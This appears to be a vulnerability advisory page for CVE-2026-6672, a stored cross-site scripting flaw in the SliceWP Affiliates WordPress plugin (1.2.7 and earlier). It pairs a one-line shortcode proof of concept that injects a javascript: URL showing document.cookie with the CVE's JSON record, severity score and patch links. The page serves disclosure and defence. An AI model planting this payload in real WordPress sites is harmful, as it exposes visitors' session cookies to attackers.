CVE-2026-6672

<!-- PoC for CVE-2026-6672 Target: SliceWP Affiliates Plugin for WordPress <= 1.2.7 Privilege: Contributor or higher --> <!-- Insert the following shortcode into a WordPress page or post content --> [slicewp_affiliate_url url='javascript:alert(document.cookie)'] <!-- When the page is rendered, the script executes due to lack of output escaping. -->

{"cve": {"id": "CVE-2026-6672", "sourceIdentifier": "[email protected]", "published": "2026-05-06T08:16:03.957", "lastModified": "2026-05-06T13:06:42.220", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Affiliate Program Suite — SliceWP Affiliates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.2.7. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the 'slicewp_affiliate_url' shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3517135/slicewp", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b9e92ea-49fc-420d-9d0e-29bcf78843bd?source=cve", "source": "[email protected]"}]}}